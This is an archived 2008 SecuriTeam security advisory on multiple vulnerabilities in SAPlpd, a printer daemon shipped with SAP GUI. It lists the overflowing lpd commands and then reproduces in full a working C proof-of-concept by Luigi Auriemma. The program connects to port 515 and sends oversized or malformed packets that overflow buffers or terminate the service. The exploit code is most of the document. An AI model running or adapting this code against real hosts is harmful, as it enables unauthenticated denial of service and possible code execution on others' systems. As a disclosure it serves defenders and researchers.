

[NT] SAPIpd Multiple Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-02/msg00013.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 5 Feb 2008 08:38:49 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

SAPIpd Multiple Vulnerabilities

SUMMARY

<<http://www.sap.com>> SAPIpd is "a small and very old (2001) line printer daemon for Windows which is included in the SAP GUI package". Multiple vulnerabilities have been discovered in SAPIpd that allow remote attackers to cause the server to overflow several internal buffers and to terminate without any authentication requirement.

DETAILS

Vulnerable Systems:

* SAPIpd version 6.28 and prior (included in SAP GUI 7.10)

The daemon is affected by various vulnerabilities which, for brevity, Luigi has decided to list through the lpd commands (in hex) accepted by the program:

commands – type of bug

01 31 – memcpy

02 32 – memcpy + sprintf "Receive job for printer %s (berkley protocol)\n"

03 04 33 34 – sprintf "QUERY = %s\n" + multiple strcpy

05 35 – multiple strcpy

53 – server termination

[NT] SAPIpd Multiple Vulnerabilities

Exploit:

/*

by Luigi Auriemma – <http://aluiigi.org/poc/saplpdz.zip>

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
```

```
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
```

```
#define close closesocket
#define ONESEC 1000
#define sleep Sleep
#define sleepms(x) sleep(x)
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
```

```
#define ONESEC 1
#define sleepms(x) usleep(x * 1000)
#endif
```

```
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
```

```
#define VER "0.1"
#define PORT 515
#define BUFSZ 8192
```

```
int putcc(u8 *data, int chr, int len);
int putss(u8 *data, u8 *str);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
```

[NT] SAPIpd Multiple Vulnerabilities

```
int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
        len,
        attack;
    u8 buff[BUFSZ],
        *p;

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "SAPIpd <= 6.28 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: luigi@xxxxxxxxxxxxx\n"
        "web: aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host>\n"
            "\n"
            "Attack:\n"
            " 1 = memcpy with packets 01 and 31\n"
            " 2 = memcpy + sprintf with packets 02 and 32\n"
            " 3 = sprintf + strcpy with packets 03, 04, 33 and 34\n"
            " 4 = multiple strcpy with packets 05 and 35\n"
            " 5 = termination with packet 53\n"
            "\n", argv[0]);
        exit(1);
    }

    attack = atoi(argv[1]);

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port = htons(PORT);
    peer.sin_family = AF_INET;

    printf("- target %s : %hu\n",
        inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
        < 0) std_err();
}
```

[NT] SAPIpd Multiple Vulnerabilities

```
p = buff;
if(attack == 1) {
    *p++ = 0x01;
    p += putcc(p, 'A', 497);

    } else if(attack == 2) {
    *p++ = 0x02;
    p += putcc(p, 'A', 497 + 16);

    } else if(attack == 3) {
    *p++ = 0x03;
    p += putcc(p, 'A', 10); // printer
    p += putss(p, " JOB ");
    p += putcc(p, 'B', 3000); // jobs
    *p++ = ' ';
    p += putcc(p, 'C', 3000);

    } else if(attack == 4) {
    *p++ = 0x05;
    p += putcc(p, 'A', 497);
    p += putss(p, " JOB blow job");

    } else if(attack == 5) {
    *p++ = 0x53;
    *p++ = 0x43;

    } else {
    printf("\nError: wrong attack number\n");
    exit(1);
    }
    *p++ = '\n';

    printf("- send malformed packet\n");
    send(sd, buff, p - buff, 0);
    while(!timeout(sd, 5)) {
    len = recv(sd, buff, BUFSZ, 0);
    if(len <= 0) break;
    }

    close(sd);
    printf("- finished\n");
    return(0);
    }

int putcc(u8 *data, int chr, int len) {
    memset(data, chr, len);
    return(len);
    }
```

[NT] SAPIpd Multiple Vulnerabilities

```
int putss(u8 *data, u8 *str) {
int len;

len = strlen(str);
memcpy(data, str, len);
return(len);
}
```

```
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;

tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
```

```
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32*)(hp->h_addr);
}
return(host_ip);
}
```

```
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
```

[NT] SAPIpd Multiple Vulnerabilities

ADDITIONAL INFORMATION

The information has been provided by <<mailto:alugi@xxxxxxxxxxxxxx>> Luigi
Auriemma.

The original article can be found at:
<<http://alugi.altervista.org/adv/saplpdz-adv.txt>>
<http://alugi.altervista.org/adv/saplpdz-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.